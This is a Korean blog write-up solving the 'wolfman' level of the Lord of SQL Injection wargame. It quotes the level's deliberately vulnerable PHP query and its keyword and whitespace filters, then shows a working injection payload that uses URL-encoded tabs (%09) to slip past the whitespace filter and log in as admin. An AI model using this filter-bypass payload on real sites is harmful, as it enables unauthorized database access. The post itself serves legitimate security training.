Almon Dev

[Lord of SQL Injection] wolfman 풀이 본문

모의해킹/Lord of SQLi

[Lord of SQL Injection] wolfman 풀이

Almon 2025. 1. 6. 17:42

LOS 풀이

 

wolfman

 

 

풀이

1. 코드 분석

GET메서드의 pw 파라미터가 쿼리에 삽입되며

쿼리의 결과 id가 admin일 경우 문제가 풀립니다.

$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id'] == 'admin') solve("wolfman");

 

공백을 필터링하는 부분이 추가되었습니다.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");

 

공백 필터링을 우회하기만 하면 쉽게 풀릴 것 같습니다.

공백을 대신할 \t(탭)를 활용하도록 하겠습니다.

\t의 url encoding 값은 %09입니다.

 

\t를 이용해서 쿼리문 삽입이 가능하다는 것을 확인했습니다.

(참일 경우 Hello guest 출력)

 

2. 쿼리 삽입

id 가 admin인 쿼리값을 가져와야 하기 때문에 or id='admin'을 삽입합니다.

select id from prob_wolfman where id='guest' and pw='' or id='admin'

 

?pw='%09or%09id='admin 파라미터를 삽입해 공격에 성공합니다.